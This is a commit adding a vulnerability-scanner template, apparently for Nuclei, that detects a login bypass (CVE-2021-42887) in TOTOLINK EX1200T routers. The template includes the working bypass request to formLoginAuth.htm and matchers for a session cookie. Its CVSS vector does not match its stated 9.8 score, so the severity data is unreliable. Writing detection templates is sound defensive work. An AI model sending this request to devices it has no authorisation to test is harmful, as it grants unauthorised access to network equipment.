Create CVE-2021-42887.yaml

In TOTOLINK EX1200T V4.1.2cu.5215, an attacker can bypass login by sending a specific request through formLoginAuth.htm.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>

cves/2021/CVE-2021-42887.yaml

@@ -0,0 +1,36 @@
+id: CVE-2021-42887
+
+info:
+  name: TOTOLINK - Authentication Bypass
+  author: gy741
+  severity: critical
+  description: |
+    In TOTOLINK EX1200T V4.1.2cu.5215, an attacker can bypass login by sending a specific request through formLoginAuth.htm.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/cve-2021-42887
+    - https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
+    cvss-score: 9.8
+    cve-id: CVE-2021-42887
+    cwe-id: CWE-287
+  tags: totolink,auth-bypass,cve,cve2021,router
+
+requests:
+  - raw:
+      - |
+        GET /formLoginAuth.htm?authCode=1&action=login HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Set-Cookie: SESSION_ID="
+        part: header
+
+      - type: status
+        status:
+          - 302
+
+# Enhanced by mp on 2022/11/06